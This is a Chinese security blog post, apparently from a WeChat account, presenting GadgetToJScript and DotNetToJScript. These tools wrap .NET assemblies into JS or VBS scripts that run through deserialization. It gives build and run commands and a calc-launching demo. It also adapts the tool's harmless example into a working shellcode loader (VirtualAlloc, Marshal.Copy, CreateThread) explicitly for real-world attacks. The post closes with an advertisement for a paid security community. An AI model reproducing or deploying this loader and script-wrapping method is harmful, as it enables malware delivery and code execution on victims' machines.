分享两个基于.NET场景下转换脚本的工具
2023-11-26 08:36:22 Author: dotNet安全矩阵(查看原文) 阅读量:7 收藏

GadgetToJScript 是一款强大的工具,它可以将.NET程序集巧妙地嵌入到 JavaScript 或 VBScript 文件中,当运行JS或者VBS脚本时会执行.NET反序列化操作,从而触发.NET程序集的加载和执行。

工具使用

下载项目到本地后首先需要移除测试的TestPayload项目,因为缺少默认的文件导致编译项目失败,编译获得GadgetToJScript.exe,直接运行可看到详细的使用说明,如下图所示

可以看到参数-i,需要导入外部的cs文件,因此我们准备了一个启动本地计算器的C#代码文件Program.cs,具体代码如下

namespace TestAssembly
{
public class Program
{
public Program()
{
System.Diagnostics.Process.Start("cmd.exe","/c calc");
}
}
}

打开cmd运行命令:GadgetToJScript.exe -w js -o test -i Program.cs,GadgetToJScript 将会将Program.cs编译后嵌入到test.js文件中,从而创建一个用于触发.NET程序集加载的js脚本文件,最后实战中使用cscript.exe test.js命令触发执行,如下图所示

Google Zero全团队的研究员James发布了一款很棒的工具DotNetToJScript,和工具GadgetToJScript 一样,它可以将.NET程序集巧妙地嵌入到 JavaScript VBScript 文件中,当运行JS或者VBS脚本时会执行.NET反序列化操作,从而触发.NET程序集的加载和执行。

具包含的ExampleAssembly.dll文件,反编译后发现只包含了一个概念性验证的MessageBox弹窗效果,并没有实战可用的攻击代码,因此我们改造成通过加载外部的shellcode执行命令,具体代码如下

public TestClass()  {    byte[] array = Convert.FromBase64String(File.ReadAllText("shellcode2base64.txt"));    IntPtr intPtr = TestClass.VirtualAlloc(0U, (uint)array.Length, 4096U, 64U);    Marshal.Copy(array, 0, intPtr, array.Length);    IntPtr zero = IntPtr.Zero;    uint num = 0U;    IntPtr zero2 = IntPtr.Zero;    TestClass.WaitForSingleObject(TestClass.CreateThread(0U, 0U, intPtr, zero2, 0U, ref num), uint.MaxValue);  }

运行命令:DotNetToJScript.exe -l vbscript -o 6.vbs ExampleAssembly.dll,生成一个vbs脚本文件6.vbs,默认双击打开或者执行命令cscript 6.vbs,如下图所示

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需129元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247489510&idx=2&sn=8d5f5c926d1189e603b2f7739156b22c&chksm=fa5ab90bcd2d301d9e738be445bb2d15d6a5ccf492ecab972e5b649364df75604b34e1366cb9&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh